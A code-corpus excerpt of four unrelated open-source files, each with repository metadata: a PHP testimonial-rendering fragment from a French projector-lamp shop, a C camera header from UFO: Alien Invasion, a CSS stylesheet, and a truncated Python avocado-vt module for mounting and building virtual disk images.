mysql_num_rows($rst)==1 ){ echo'<option value="vproj"><span style="color:#316600; font-size=0.6em">'.VIDEOPROJECTEUR.'...</span></option>'; // } While ($qry_row = mysql_fetch_array($rst)){ $this->lienproduit=$this->locint->getData('data_'.$qry_row[code_type_produit],'href'); $link = $this->lienproduit.'-'.$qry_row[libelle_constructeur].'-'.str_replace(chr(176),'_',$qry_row[libelle_produit]).'.php';//transformation des slashs en virgule dans le libelle_produit pour le rewriting echo'<option value="'.$link.'">'.$qry_row['libelle_produit'].'</option>'; } echo' </select> </form> </div>'; } public function quelle_page(){ if($_SERVER['HTTP_HOST'] == '127.0.0.1'){ $num=2; }else{ $num=1; } $url= $_SERVER['REQUEST_URI']; $maPage_uri= explode('/',$url); $p = $maPage_uri[$num]; $maPage = explode('.',$p); switch($_SESSION['languages_id']){ case 2: switch($maPage[0]){ case "remplacement-lampes-videoprojecteurs": $page = "autre_marque"; break; default: break; } case 3: switch($maPage[0]){ case "sustitucion-lamparas-videoproyectors": $page = "autre_marque"; break; default: break; } default: break; } return $page; } public static function faireTemoignage_bis($constructeur, $browser){ include_once('includes/common/hp_Tmg.php'); $x = 0; if($_SESSION['languages_id'] == 2) {eb_Tmg::$lampe = "Lampe%";}elseif($_SESSION['languages_id'] == 3){eb_Tmg::$lampe = "Lampara%";} $tmg = new eb_Tmg(); $tmg->marque = $constructeur; $tmg->init_short_list() ; $nom = strtolower($tmg->tab_sl_region[0]); $nom_region0 = str_replace('-','_',$nom); $nom_region0 = ezl_divers_main_page::removeaccents_common($nom_region0); $nom = strtolower($tmg->tab_sl_region[1]); $nom_region1 = str_replace('-','_',$nom); $nom_region1 = ezl_divers_main_page::removeaccents_common($nom_region1); $nom = strtolower($tmg->tab_sl_region[2]); $nom_region2 = str_replace('-','_',$nom); $nom_region2 = ezl_divers_main_page::removeaccents_common($nom_region2); $img_region0 = '<img width="87" height="90" src="hpl_images/region/'.$nom_region0.'.png" title="'.$nom_region0.'"/>'; $img_region1 = '<img width="87" height="90" src="hpl_images/region/'.$nom_region1.'.png" title="'.$nom_region1.'"/>'; $img_region2 = '<img width="87" height="90" src="hpl_images/region/'.$nom_region2.'.png" title="'.$nom_region2.'"/>'; $img_europe = '<img width="87" height="90" src="hpl_images/region/europe.png" title="'.$nom_region2.'"/>'; if(!file_exists("hpl_images/region/".$nom_region0.".png")){ $img_region0 = "<div style='width:100px; height:90px;'>".$img_europe."</div>"; } if(!file_exists("hpl_images/region/".$nom_region1.".png")){ $img_region1 = "<div style='width:70px;height:90px;'>".$img_europe."</div>"; } if(!file_exists("hpl_images/region/".$nom_region2.".png")){ $img_region2 = "<div style='width:70px;height:90px;'>".$img_europe."</div>"; } $note0=$tmg->tab_sl_note[0]; if($note0==1)$star0 =1; elseif($note0==2)$star0=2; elseif($note0==3)$star1 =3;elseif($note0==4)$star0 =4;elseif($note0==5)$star0 =5; else {$star0=5;} $note1=$tmg->tab_sl_note[1]; if($note1==1)$star1 =1; elseif($note1==2)$star1 =2; elseif($note1==3)$star1 =3;elseif($note1==4)$star1 =4;elseif($note1==5)$star1=5; else {$star1=5;} $note2=$tmg->tab_sl_note[2]; if($note2==1)$star2 =1; elseif($note2==2)$star2 =2; elseif($note2==3)$star2 =3;elseif($note2==4)$star2 =4;elseif($note2==5)$star2=5; else {$star2=5;} $sexe0 = $tmg->tab_sl_male_female[0]; $sexe1 = $tmg->tab_sl_male_female[1]; $sexe2 = $tmg->tab_sl_male_female[2]; if($sexe0 =="m"){ $img_temoin0 = '<img src="hpl_images/temoin_1.png" width="70" height="60" />'; }else{ $img_temoin0 = '<img src="hpl_images/temoin1.png" width="70" height="60" />'; } if($sexe0 =="m"){ $img_temoin1 = '<img src="hpl_images/temoin_1.png" width="70" height="60" />'; }else{ $img_temoin1 = '<img src="hpl_images/temoin1.png" width="70" height="60" />'; } if($sexe2 =="m"){ $img_temoin2 = '<img src="hpl_images/temoin_1.png" width="70" height="60" />'; }else{ $img_temoin2 = '<img src="hpl_images/temoin1.png" width="70" height="60" />'; } $produit_hote0 = $tmg->tab_produit_hote[0]; $produit_hote0 = str_replace("pour ".$constructeur,"",$produit_hote0); $produit_hote1 = $tmg->tab_produit_hote[1]; $produit_hote1 = str_replace("pour ".$constructeur,"",$produit_hote1); $produit_hote2 = $tmg->tab_produit_hote[2]; $produit_hote2 = str_replace("pour ".$constructeur,"",$produit_hote2); ($_SESSION['languages_id']==2)? $avis ="avis":$avis="opinion"; $texte0 = $tmg->tab_sl_texte[0];$texte0 = explode($avis,$texte0);$texte0 = $texte0[0]; $texte0 = str_replace('originale','orginale inside',$texte0); $texte0 = str_replace('original','orginale inside',$texte0); $texte1 = $tmg->tab_sl_texte[1];$texte1 = explode($avis,$texte1);$texte1 = $texte1[0]; $texte1 = str_replace('originale','orginale inside',$texte1);$texte1 = str_replace('original','orginale inside',$texte1); $texte2 = $tmg->tab_sl_texte[2];$texte2 = explode($avis,$texte2);$texte2 = $texte2[0]; $texte2 = str_replace('originale','orginale inside',$texte2);$texte2 = str_replace('original','orginale inside',$texte2); if($constructeur == "EPSON"){ $texte0 = $texte0 = str_replace('orginale inside','Marathon',$texte0); $texte1 = $texte1 = str_replace('orginale inside','Marathon',$texte1); $texte2 = $texte2 = str_replace('orginale inside','Marathon',$texte2); } $left="margin-left:100%;"; $width="width:10px;"; echo'<div id="rappel_temoignage_bis" style="position:relative; background:#fff; box-shadow:1px 1px 8px #aaa; behavior: url(PIE/PIE.php); background:#fff\9; height:220px; width:100%; "> <div id="temoignage_bis" style="text-align:center; color:#fff;width:101.3%; background:#44a144;">'.TEMOIGNAGES_CLIENTS.'</div> <img style="'.$left.$width.'" id="triangle_bis" src="hpl_images/triangle.png" width="10" height="10"/>'; echo '<div style="width:33%; position:relative; margin:0; width:272px\9; margin-left:-2px\9; height:185px; text-align:left; "> <div style="padding-top:15px; padding-left:35px; font-size:0.75em; color:#2373ba;"> <div class="star_avis" style="width:90px;height:20px; margin-left:20px;"> <img width="60" height="12" src="img/imgLVP4/sond/smush/star_sond_'.$star0.'.png"/> </div> <div style=" margin-left:10px; width:70px; height:60px; box-shadow :1px 1px 8px #000; border-radius:7px;behavior: url(PIE/PIE.php); background:#fff\9;">' .$img_temoin0.' </div> <div style="position:absolute; margin-left:120px;margin-left:110px\9; margin-top:-91px; width:80px; height:105px; font-size:11px; text-align:center;">' .'<div style="">'.$img_region0.'</div> </div> <div style=" width:200px; margin-left:10px; margin-top:12px; position:absolute;">'. '<a style="color:#2373ba;" href="'.$tmg->tab_sl_url[0].'">'//LAMPE.' originale Inside '.$constructeur.' ' .$texte0.' '.ACHETEE_LE.' '.$tmg->date_achat[0+$x].' '.PAR_UN_CLIENT_DE.' '. $tmg->tab_sl_region[0+$x].'</a><br/> <a style="color:#dc8c45" href ="'.$tmg->tab_sl_url[0].'">'.LIRE_LA_SUITE.'...</a> </div> </div> </div>'; echo '<div style="width:33%; width:272px\9; margin-left:33.3%; margin-top:-185px; height:185px; border-left:1px solid #e1e1e1; border-right:1px solid #e1e1e1; boxx-shadow:1px 1px 8px #aaa; behaviorx: url(PIE/PIE.php); background:url(hpl_images/oox.png); backgroundxx:#fff\9;text-align:left; "> <div style="padding-top:15px; padding-left:35px; font-size:0.75em; color:#2373ba;"> <div class="star_avis" style="width:90px;height:20px; margin-left:20px;"> <img width="60" height="12" src="img/imgLVP4/sond/smush/star_sond_'.$star1.'.png"/> </div> <div style=" margin-left:10px; width:70px; height:60px; box-shadow :1px 1px 8px #000; border-radius:7px;behavior: url(PIE/PIE.php); background:#fff\9;">' .$img_temoin1.' </div> <div style="position:absolute; margin-left:125px; margin-top:-91px; width:80px; font-size:11px; text-align:center;">' .'<div style="">'.$img_region1.'</div> </div> <div style=" width:200px; margin-left:10px; margin-top:12px; position:absolute;">'. '<a style="color:#2373ba;" href="'.$tmg->tab_sl_url[1].'">'//LAMPE.' originale Inside '.$constructeur.' ' .$texte1.' '.ACHETEE_LE.' '.$tmg->date_achat[1].' '.PAR_UN_CLIENT_DE.' '. $tmg->tab_sl_region[1].'</a><br/> <a style="color:#dc8c45;" href ="'.$tmg->tab_sl_url[1].'">'.LIRE_LA_SUITE.'...</a> </div> </div> </div>'; echo '<div style="width:33%; width:272px\9; margin-left:66.66%; margin-top:-185px; height:182px; boxx-shadow:1px 1px 8px #aaa; behaviorx: url(PIE/PIE.php); background:url(hpl_images/oox.png); backgroundxx:#fff\9;text-align:left; "> <div style="padding-top:15px; padding-left:35px; font-size:0.75em; color:#2373ba;"> <div class="star_avis" style="width:90px;height:20px; margin-left:20px;"> <img width="60" height="12" src="img/imgLVP4/sond/smush/star_sond_'.$star2.'.png"/> </div> <div style=" margin-left:10px; width:70px; height:60px; box-shadow :1px 1px 8px #000; border-radius:7px;behavior: url(PIE/PIE.php); background:#fff\9;">' .$img_temoin2.' </div> <div style="position:absolute; margin-left:130px; margin-left:110px\9; margin-top:-91px; width:80px; font-size:11px; text-align:center;">' .'<div style="">'.$img_region2.'</div> </div> <div style=" width:200px; margin-left:10px; margin-top:12px; position:absolute;">'. '<a style="color:#2373ba" href="'.$tmg->tab_sl_url[2].'">'//LAMPE.' originale Inside '.$constructeur.' ' .$texte2.' '.ACHETEE_LE.' '.$tmg->date_achat[2].' '.PAR_UN_CLIENT_DE.' '. $tmg->tab_sl_region[2].'</a><br/> <a style="color:#dc8c45" href ="'.$tmg->tab_sl_url[2].'">'.LIRE_LA_SUITE.'...</a> </div> </div> </div>'; echo'</div>'; } public static function faireTemoignage_2($constructeur, $browser){ include_once('includes/common/hp_Tmg.php'); $x = 0; //pour que 0+$x...ne donne dpas d'erreurs $tmg = new eb_Tmg(); if($_SESSION['languages_id'] == 2) {eb_Tmg::$lampe = "Lampe%";}elseif($_SESSION['languages_id'] == 3){eb_Tmg::$lampe = "Lampara%";} $tmg->marque = $constructeur; $tmg->init_short_list() ; $nom = strtolower($tmg->tab_sl_region[0]); $nom_region0 = str_replace('-','_',$nom); $nom_region0 = ezl_divers_main_page::removeaccents_common($nom_region0); $nom = strtolower($tmg->tab_sl_region[1]); $nom_region1 = str_replace('-','_',$nom); $nom_region1 = ezl_divers_main_page::removeaccents_common($nom_region1); $nom = strtolower($tmg->tab_sl_region[2]); $nom_region2 = str_replace('-','_',$nom); $nom_region2 = ezl_divers_main_page::removeaccents_common($nom_region2); $img_region0 = '<img width="87" height="90" src="hpl_images/region/'.$nom_region0.'.png" title="'.$nom_region0.'"/>'; $img_region1 = '<img width="87" height="90" src="hpl_images/region/'.$nom_region1.'.png" title="'.$nom_region1.'"/>'; $img_region2 = '<img width="87" height="90" src="hpl_images/region/'.$nom_region2.'.png" title="'.$nom_region2.'"/>'; $img_europe = '<img width="87" height="90" src="hpl_images/region/europe.png" title="'.$nom_region2.'"/>'; if(!file_exists("hpl_images/region/".$nom_region0.".png")){ $img_region0 = "<div style='width:100px; height:90px;'>".$img_europe."</div>"; } if(!file_exists("hpl_images/region/".$nom_region1.".png")){ $img_region1 = "<div style='width:70px;height:90px;'>".$img_europe."</div>"; } if(!file_exists("hpl_images/region/".$nom_region2.".png")){ $img_region2 = "<div style='width:70px;height:90px;'>".$img_europe."</div>"; } $note0=$tmg->tab_sl_note[0+$x]; if($note0==1)$star0 =1; elseif($note0==2)$star0=2; elseif($note0==3)$star1 =3;elseif($note0==4)$star0 =4;elseif($note0==5)$star0 =5; else {$star0=5;} $note1=$tmg->tab_sl_note[1+$x]; if($note1==1)$star1 =1; elseif($note1==2)$star1 =2; elseif($note1==3)$star1 =3;elseif($note1==4)$star1 =4;elseif($note1==5)$star1=5; else {$star1=5;} $note2=$tmg->tab_sl_note[2+$x]; if($note2==1)$star2 =1; elseif($note2==2)$star2 =2; elseif($note2==3)$star2 =3;elseif($note2==4)$star2 =4;elseif($note2==5)$star2=5; else {$star2=5;} $sexe0 = $tmg->tab_sl_male_female[0+$x]; $sexe1 = $tmg->tab_sl_male_female[1+$x]; $sexe2 = $tmg->tab_sl_male_female[2+$x]; if($sexe0 =="m"){ $img_temoin0 = '<img src="hpl_images/temoin_1.png" width="70" height="60" />'; }else{ $img_temoin0 = '<img src="hpl_images/temoin1.png" width="70" height="60" />'; } if($sexe0 =="m"){ $img_temoin1 = '<img src="hpl_images/temoin_1.png" width="70" height="60" />'; }else{ $img_temoin1 = '<img src="hpl_images/temoin1.png" width="70" height="60" />'; } if($sexe2 =="m"){ $img_temoin2 = '<img src="hpl_images/temoin_1.png" width="70" height="60" />'; }else{ $img_temoin2 = '<img src="hpl_images/temoin1.png" width="70" height="60" />'; } ($_SESSION['languages_id']==2)? $avis ="avis":$avis="opinion"; $texte0 = $tmg->tab_sl_texte[0];$texte0 = explode($avis,$texte0);$texte0 = $texte0[0]; $texte0 = str_replace('originale','orginale inside',$texte0); $texte0 = str_replace('original','orginale inside',$texte0); $texte1 = $tmg->tab_sl_texte[1];$texte1 = explode($avis,$texte1);$texte1 = $texte1[0]; $texte1 = str_replace('originale','orginale inside',$texte1);$texte1 = str_replace('original','orginale inside',$texte1); $texte2 = $tmg->tab_sl_texte[2];$texte2 = explode($avis,$texte2);$texte2 = $texte2[0]; $texte2 = str_replace('originale','orginale inside',$texte2);$texte2 = str_replace('original','orginale inside',$texte2); if($browser =="Chrome") {$left ="margin-left:272px;";} if($browser=="Firefox"){$left="margin-left:138px;"; $width="width:11px;";} if($browser=="MSIE"){$left="margin-left:275px;"; $width="width:11px;";} echo'<div id="rappel_temoignage_autre_page" style="position:absolute; margin-left:489px; margin-top:-30px;height:392px; margin-left:500px\9; width:275px; border-radius: 0px 0px 10px 10px; box-shadow:1px 1px 8px #aaa; behavior: url(PIE/PIE.php); background:#fff\9;"> <div id="temoignage_2" >'.TEMOIGNAGES_CLIENTS.'</div> <!--<img style="position:absolute;'.$left.$width.'" id="triangle_2" src="hpl_images/triangle.png" width="10" height="10"/>-->'; echo '<div style="width:100%; position:relative; width:272px\9; margin-left:-2px\9; height:185px; text-align:left; "> <div style="padding-top:15px; padding-left:35px; font-size:0.75em; color:#2373ba;"> <div class="star_avis" style="width:90px;height:20px; margin-left:20px;"> <img width="60" height="12" src="img/imgLVP4/sond/smush/star_sond_'.$star0.'.png"/> </div> <div style=" margin-left:10px; width:70px; height:60px; box-shadow :1px 1px 8px #000; border-radius:10px;behavior: url(PIE/PIE.php); background:#fff\9;">' .$img_temoin0.' </div> <div style="position:absolute; margin-left:130px; margin-top:-91px; width:80px; height:105px; font-size:11px; text-align:center;">' .'<div style="">'.$img_region0.'</div> </div> <div style="position:absolute; width:200px; margin-left:10px; margin-top:12px; ">'. '<a style="color:#2373ba;" href="'.$tmg->tab_sl_url[0+$x].'">'//LAMPE.' originale Inside '.$constructeur.' ' .$texte0.' '.ACHETEE_LE.' '.$tmg->date_achat[0+$x].' '.PAR_UN_CLIENT_DE.' '. $tmg->tab_sl_region[0+$x].'</a><br/> <a style="color:#dc8c45;" href ="'.$tmg->tab_sl_url[0+$x].'">'.LIRE_LA_SUITE.'...</a> </div> </div> </div>'; echo '<div style="width:100%; width:272px\9; margin-left:-2px\9;height:185px; border-top:1px solid #e1e1e1; boxx-shadow:1px 1px 8px #aaa; behaviorx: url(PIE/PIE.php); background:url(hpl_images/oox.png); backgroundxx:#fff\9;text-align:left; "> <div style="padding-top:15px; padding-left:35px; font-size:0.75em; color:#2373ba;"> <div class="star_avis" style="width:90px;height:20px; margin-left:20px;"> <img width="60" height="12" src="img/imgLVP4/sond/smush/star_sond_'.$star1.'.png"/> </div> <div style=" margin-left:10px; width:70px; height:60px; box-shadow :1px 1px 8px #000; border-radius:10px;behavior: url(PIE/PIE.php); background:#fff\9;">' .$img_temoin1.' </div> <div style="position:absolute; margin-left:130px; margin-top:-91px; width:80px; font-size:11px; text-align:center;">' .'<div style="">'.$img_region1.'</div> </div> <div style="position:absolute; width:200px; margin-left:10px; margin-top:12px; ">'. '<a style="color:#2373ba;" href="'.$tmg->tab_sl_url[1+$x].'">'//.LAMPE.' originale Inside '.$constructeur.' ' .$texte1.' '.ACHETEE_LE.' '.$tmg->date_achat[1+$x].' '.PAR_UN_CLIENT_DE.' '. $tmg->tab_sl_region[1+$x].'</a><br/> <a style="color:#dc8c45;" href ="'.$tmg->tab_sl_url[1+$x].'">'.LIRE_LA_SUITE.'..</a> </div> </div> </div>'; echo '<!--<div style="width:100%; width:272px\9; margin-left:-2px\9; height:182px; boxx-shadow:1px 1px 8px #aaa; behaviorx: url(PIE/PIE.php); background:url(hpl_images/oox.png); backgroundxx:#fff\9;text-align:left; "> <div style="padding-top:15px; padding-left:35px; font-size:0.75em; color:#2373ba;"> <div class="star_avis" style="width:90px;height:20px; margin-left:20px;"> <img width="60" height="12" src="img/imgLVP4/sond/smush/star_sond_'.$star2.'.png"/> </div> <div style=" margin-left:10px; width:70px; height:60px; box-shadow :1px 1px 8px #000; border-radius:10px;behavior: url(PIE/PIE.php); background:#fff\9;">' .$img_temoin2.' </div> <div style="position:absolute; margin-left:130px; margin-top:-91px; margin-top:-30px\9; width:80px; font-size:11px; text-align:center;">' .'<div style="">'.$img_region2.'</div> </div> <div style="position:absolute; width:200px; margin-left:10px; margin-top:12px; ">'. '<a style="color:#2373ba;" href="'.$tmg->tab_sl_url[2+$x].'">'//.LAMPE.' originale Inside '.$constructeur.' ' .$texte2.' '.ACHETEE_LE.' '.$tmg->date_achat[2+$x].' '.PAR_UN_CLIENT_DE.' '. $tmg->tab_sl_region[2+$x].'</a><br/> <a style="color:#dc8c45;" href ="'.$tmg->tab_sl_url[2+$x].'">'.LIRE_LA_SUITE.'...</a> </div> </div> </div> -->'; echo'</div>'; } private $sql_best_seller = 'select * from el_v_composants where libelle_constructeur = "[CONSTRUCTEUR]" group by ref_constructeur_composant order by ( ref_constructeur_composant in ("ELPLP42", "ELPLP57", "ELPLP41", "ELPLP50", "ELPLP34", "LMP-C162", "VT75LP", "ELPLP67", "ELPLP40", "ELPLP58", "ET-LAB50", "ELPLP33", "ET-LAD60W", "VT85LP", "DT00891", "LMP105", "NP07LP", "NP13LP", "LMP55", "ELPLP49", "ELPLP54", "SP.8EH01GC01", "VLT-XD280LP", "LMP-C150", "ELPLP71", "VLT-XL550LP", "NP15LP", "ELPLP39", "ELPLP53", "ELPLP46", "VLT-XD560LP", "AN-XR10LP", "TLPLW11", "ELPLP30", "01-00247", "LMP137", "LMP80", "ELPLP36", "VLT-XD3200LP", "DT00511", "LMP126", "NP12LP", "ELPLP23", "ELPLP29", "78-6969-9875-2", "LMP-C161", "SP.8EG01GC01", "DT00781", "DT00461", "VT70LP", "VLT-XD400LP", "20-01032-20", "ELPLP35", "ELPLP63", "ET-LAD60", "DT00531", "ELPLP60", "VLT-HC5000LP", "ET-LAE1000", "VLT-XD221LP", "78-6969-9996-6", "ELPLP25", "78-6966-9917-2", "ELPLP48", "AN-XR20LP", "ELPLP38", "DT00621", "ET-LAE4000", "5J.J1S01.001", "NP02LP", "LMP-H160", "LMP-C121", "ELPLP22", "CS.59J99.1B1", "ET-LAD35", "NP17LP", "DT00893", "ET-LAB80", "MT60LP", "VLT-XD206LP", "TLPLV1", "DT00871", "VLT-HC3800LP", "R9841760", "VLT-EX240LP", "VLT-XD600LP", "DT00731", "DT00691", "VLT-SL6LP", "78-6969-9861-2", "SP.88N01GC01", "ELPLP31" ) ) asc, ref_constructeur_composant limit 0,4 '; }//fin de la classe ?>
fvaron/zencart_fr
tmp_ezl/hpl_zoncat.php
PHP
gpl-2.0
81,704
/** * @file */ /* All original material Copyright (C) 2002-2015 UFO: Alien Invasion. Original file from Quake 2 v3.21: quake2-2.31/client/cl_input.c Copyright (C) 1997-2001 Id Software, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #pragma once typedef struct camera_s { vec3_t origin; /**< the reference origin used for rotating around and to look at */ vec3_t camorg; /**< origin of the camera (look from) */ vec3_t speed; /**< speed of camera movement */ vec3_t angles; /**< current camera angle */ vec3_t omega; /**< speed of rotation */ vec3_t axis[3]; /**< set when refdef.angles is set */ float lerplevel; /**< linear interpolation between frames while changing the world level */ float zoom; /**< the current zoom level (see MIN_ZOOM and MAX_ZOOM) */ } camera_t; #define FOV 75.0 #define CAMERA_START_DIST 600 #define CAMERA_START_HEIGHT UNIT_HEIGHT * 1.5 #define CAMERA_LEVEL_HEIGHT UNIT_HEIGHT extern cvar_t* cl_centerview; extern cvar_t* cl_camzoommax; extern cvar_t* cl_camzoommin; extern cvar_t* cl_camzoomquant; extern const float MIN_ZOOM, MAX_ZOOM; void CL_CameraInit(void); void CL_CameraMove(void); void CL_CameraRoute(const pos3_t from, const pos3_t target); void CL_CheckCameraRoute(const pos3_t from, const pos3_t target); void CL_CameraZoomIn(void); void CL_CameraZoomOut(void);
mgerhardy/ufoai
src/client/battlescape/cl_camera.h
C
gpl-2.0
1,975
html, body { margin: 0; padding: 0; background-color:blue } #main-wrapper { width:80%; margin-left: 10%; margin-right:10%; margin-top:5%; min-height: 500px; background-color: Lightblue; } footer{ text-align: center; margin:30px auto 30px auto; } .sidebar-left{ width:15%; left:5%; top:20%; background-color: Darkblue; position: absolute; border: 1px solid black; padding:10px; } .bold { font-weight: bold; } .row{margin-bottom: 10px} td{padding-bottom:20px;} table{border:1px solid black;} @media screen and (max-width: 991px) { .sidebar-left{ display: none; } }
hanabi1/english4fun
public/css/style.css
CSS
gpl-2.0
660
""" Virtualization test - Virtual disk related utility functions :copyright: Red Hat Inc. """ import os import glob import shutil import stat import tempfile import logging import re try: import configparser as ConfigParser except ImportError: import ConfigParser from avocado.core import exceptions from avocado.utils import process from avocado.utils.service import SpecificServiceManager from virttest import error_context from virttest.compat_52lts import decode_to_text # Whether to print all shell commands called DEBUG = False def copytree(src, dst, overwrite=True, ignore=''): """ Copy dirs from source to target. :param src: source directory :param dst: destination directory :param overwrite: overwrite file if exist or not :param ignore: files want to ignore """ ignore = glob.glob(os.path.join(src, ignore)) for root, dirs, files in os.walk(src): dst_dir = root.replace(src, dst) if not os.path.exists(dst_dir): os.makedirs(dst_dir) for _ in files: if _ in ignore: continue src_file = os.path.join(root, _) dst_file = os.path.join(dst_dir, _) if os.path.exists(dst_file): if overwrite: os.remove(dst_file) else: continue shutil.copy(src_file, dst_dir) def is_mount(src, dst=None, fstype=None, options=None, verbose=False, session=None): """ Check is src or dst mounted. :param src: source device or directory :param dst: mountpoint, if None will skip to check :param fstype: file system type, if None will skip to check :param options: mount options should be seperated by "," :param session: check within the session if given :return: True if mounted, else return False """ mount_str = "%s %s %s" % (src, dst, fstype) mount_str = mount_str.replace('None', '').strip() mount_list_cmd = 'cat /proc/mounts' if session: mount_result = session.cmd_output_safe(mount_list_cmd) else: mount_result = decode_to_text(process.system_output(mount_list_cmd, shell=True)) if verbose: logging.debug("/proc/mounts contents:\n%s", mount_result) for result in mount_result.splitlines(): if mount_str in result: if options: options = options.split(",") options_result = result.split()[3].split(",") for op in options: if op not in options_result: if verbose: logging.info("%s is not mounted with given" " option %s", src, op) return False if verbose: logging.info("%s is mounted", src) return True if verbose: logging.info("%s is not mounted", src) return False def mount(src, dst, fstype=None, options=None, verbose=False, session=None): """ Mount src under dst if it's really mounted, then remout with options. :param src: source device or directory :param dst: mountpoint :param fstype: filesystem type need to mount :param options: mount options :param session: mount within the session if given :return: if mounted return True else return False """ options = (options and [options] or [''])[0] if is_mount(src, dst, fstype, options, verbose, session): if 'remount' not in options: options = 'remount,%s' % options cmd = ['mount'] if fstype: cmd.extend(['-t', fstype]) if options: cmd.extend(['-o', options]) cmd.extend([src, dst]) cmd = ' '.join(cmd) if session: return session.cmd_status(cmd, safe=True) == 0 return process.system(cmd, verbose=verbose) == 0 def umount(src, dst, fstype=None, verbose=False, session=None): """ Umount src from dst, if src really mounted under dst. :param src: source device or directory :param dst: mountpoint :param fstype: fstype used to check if mounted as expected :param session: umount within the session if given :return: if unmounted return True else return False """ mounted = is_mount(src, dst, fstype, verbose=verbose, session=session) if mounted: from . import utils_package package = "psmisc" # check package is available, if not try installing it if not utils_package.package_install(package): logging.error("%s is not available/installed for fuser", package) fuser_cmd = "fuser -km %s" % dst umount_cmd = "umount %s" % dst if session: session.cmd_output_safe(fuser_cmd) return session.cmd_status(umount_cmd, safe=True) == 0 process.system(fuser_cmd, ignore_status=True, verbose=True, shell=True) return process.system(umount_cmd, ignore_status=True, verbose=True) == 0 return True @error_context.context_aware def cleanup(folder): """ If folder is a mountpoint, do what is possible to unmount it. Afterwards, try to remove it. :param folder: Directory to be cleaned up. """ error_context.context( "cleaning up unattended install directory %s" % folder) umount(None, folder) if os.path.isdir(folder): shutil.rmtree(folder) @error_context.context_aware def clean_old_image(image): """ Clean a leftover image file from previous processes. If it contains a mounted file system, do the proper cleanup procedures. :param image: Path to image to be cleaned up. """ error_context.context("cleaning up old leftover image %s" % image) if os.path.exists(image): umount(image, None) os.remove(image) class Disk(object): """ Abstract class for Disk objects, with the common methods implemented. """ def __init__(self): self.path = None def get_answer_file_path(self, filename): return os.path.join(self.mount, filename) def copy_to(self, src): logging.debug("Copying %s to disk image mount", src) dst = os.path.join(self.mount, os.path.basename(src)) if os.path.isdir(src): shutil.copytree(src, dst) elif os.path.isfile(src): shutil.copyfile(src, dst) def close(self): os.chmod(self.path, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH) cleanup(self.mount) logging.debug("Disk %s successfully set", self.path) class FloppyDisk(Disk): """ Represents a floppy disk. We can copy files to it, and setup it in convenient ways. """ @error_context.context_aware def __init__(self, path, qemu_img_binary, tmpdir, vfd_size): error_context.context( "Creating unattended install floppy image %s" % path) self.mount = tempfile.mkdtemp(prefix='floppy_virttest_', dir=tmpdir) self.path = path self.vfd_size = vfd_size clean_old_image(path) try: c_cmd = '%s create -f raw %s %s' % (qemu_img_binary, path, self.vfd_size) process.run(c_cmd, verbose=DEBUG) f_cmd = 'mkfs.msdos -s 1 %s' % path process.run(f_cmd, verbose=DEBUG) except process.CmdError as e: logging.error("Error during floppy initialization: %s" % e) cleanup(self.mount) raise def close(self): """ Copy everything that is in the mountpoint to the floppy. """ pwd = os.getcwd() try: os.chdir(self.mount) path_list = glob.glob('*') for path in path_list: self.copy_to(path) finally: os.chdir(pwd) cleanup(self.mount) def copy_to(self, src): logging.debug("Copying %s to floppy image", src) mcopy_cmd = "mcopy -s -o -n -i %s %s ::/" % (self.path, src) process.run(mcopy_cmd, verbose=DEBUG) def _copy_virtio_drivers(self, virtio_floppy): """ Copy the virtio drivers on the virtio floppy to the install floppy. 1) Mount the floppy containing the viostor drivers 2) Copy its contents to the root of the install floppy """ pwd = os.getcwd() try: m_cmd = 'mcopy -s -o -n -i %s ::/* %s' % ( virtio_floppy, self.mount) process.run(m_cmd, verbose=DEBUG) finally: os.chdir(pwd) def setup_virtio_win2003(self, virtio_floppy, virtio_oemsetup_id): """ Setup the install floppy with the virtio storage drivers, win2003 style. Win2003 and WinXP depend on the file txtsetup.oem file to install the virtio drivers from the floppy, which is a .ini file. Process: 1) Copy the virtio drivers on the virtio floppy to the install floppy 2) Parse the ini file with config parser 3) Modify the identifier of the default session that is going to be executed on the config parser object 4) Re-write the config file to the disk """ self._copy_virtio_drivers(virtio_floppy) txtsetup_oem = os.path.join(self.mount, 'txtsetup.oem') if not os.path.isfile(txtsetup_oem): raise IOError('File txtsetup.oem not found on the install ' 'floppy. Please verify if your floppy virtio ' 'driver image has this file') parser = ConfigParser.ConfigParser() parser.read(txtsetup_oem) if not parser.has_section('Defaults'): raise ValueError('File txtsetup.oem does not have the session ' '"Defaults". Please check txtsetup.oem') default_driver = parser.get('Defaults', 'SCSI') if default_driver != virtio_oemsetup_id: parser.set('Defaults', 'SCSI', virtio_oemsetup_id) fp = open(txtsetup_oem, 'w') parser.write(fp) fp.close() def setup_virtio_win2008(self, virtio_floppy): """ Setup the install floppy with the virtio storage drivers, win2008 style. Win2008, Vista and 7 require people to point out the path to the drivers on the unattended file, so we just need to copy the drivers to the driver floppy disk. Important to note that it's possible to specify drivers from a CDROM, so the floppy driver copy is optional. Process: 1) Copy the virtio drivers on the virtio floppy to the install floppy, if there is one available """ if os.path.isfile(virtio_floppy): self._copy_virtio_drivers(virtio_floppy) else: logging.debug( "No virtio floppy present, not needed for this OS anyway") class CdromDisk(Disk): """ Represents a CDROM disk that we can master according to our needs. """ def __init__(self, path, tmpdir): self.mount = tempfile.mkdtemp(prefix='cdrom_virttest_', dir=tmpdir) self.tmpdir = tmpdir self.path = path clean_old_image(path) if not os.path.isdir(os.path.dirname(path)): os.makedirs(os.path.dirname(path)) def _copy_virtio_drivers(self, virtio_floppy, cdrom_virtio): """ Copy the virtio drivers from floppy and cdrom to install cdrom. 1) Mount the floppy and cdrom containing the virtio drivers 2) Copy its contents to the root of the install cdrom """ pwd = os.getcwd() mnt_pnt = tempfile.mkdtemp(prefix='cdrom_virtio_', dir=self.tmpdir) mount(cdrom_virtio, mnt_pnt, options='loop,ro', verbose=DEBUG) try: copytree(mnt_pnt, self.mount, ignore='*.vfd') cmd = 'mcopy -s -o -n -i %s ::/* %s' % (virtio_floppy, self.mount) process.run(cmd, verbose=DEBUG) finally: os.chdir(pwd) umount(None, mnt_pnt, verbose=DEBUG) os.rmdir(mnt_pnt) def setup_virtio_win2008(self, virtio_floppy, cdrom_virtio): """ Setup the install cdrom with the 